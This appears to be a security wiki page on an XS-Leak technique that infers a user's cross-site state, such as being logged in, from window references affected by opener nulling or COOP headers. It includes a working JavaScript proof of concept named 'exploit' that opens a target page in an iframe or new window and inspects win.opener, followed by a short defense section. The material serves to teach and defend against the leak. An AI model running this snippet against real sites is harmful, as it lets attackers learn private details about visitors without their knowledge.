Window References
October 8, 2020
If a page sets its opener
property to null
or is using COOP protection depending on the users’ state, it becomes possible to infer cross-site information about that state. For example, attackers can detect whether a user is logged in by opening an endpoint in an iframe (or a new window) which only authenticated users have access to, simply by checking its window reference. Run demo
Code Snippet #
The below snippet demonstrates how to detect whether the opener
property was set to null
, or whether the COOP header is present with a value other than unsafe-none
. This can be done with both iframes and new windows.
// define the vulnerable URL
const v_url = 'https://example.org/profile';
const exploit = (url, new_window) => {
let win;
if(new_window) {
// open the url in a new tab to see if win.opener was affected by COOP
// or set to null
win = open(url);
} else {
// create an iframe to detect whether the opener is defined
// won't work for COOP detection, or if a page has implemented framing protections
document.body.insertAdjacentHTML('beforeend', '<iframe name="xsleaks">');
// redirect the iframe to the vulnerable URL
win = open(url, "xsleaks");
}
// wait 2 seconds to let the page load
setTimeout(() => {
if (win.closed) {
console.log("opener is closed");
} else {
// check the opener property of the newly opened window
if(!win.opener) console.log("win.opener is null");
else console.log("win.opener is defined");
}
}, 2000);
}
exploit(v_url);
exploit(v_url, 1);
Defense #
To mitigate this type of XS-Leak, be consistent across different pages: set the opener
property to the same value on all pages using COOP. Using JavaScript to set opener
to null
can result in edge cases because it’s possible to disable JavaScript entirely using iframe’s sandbox attribute.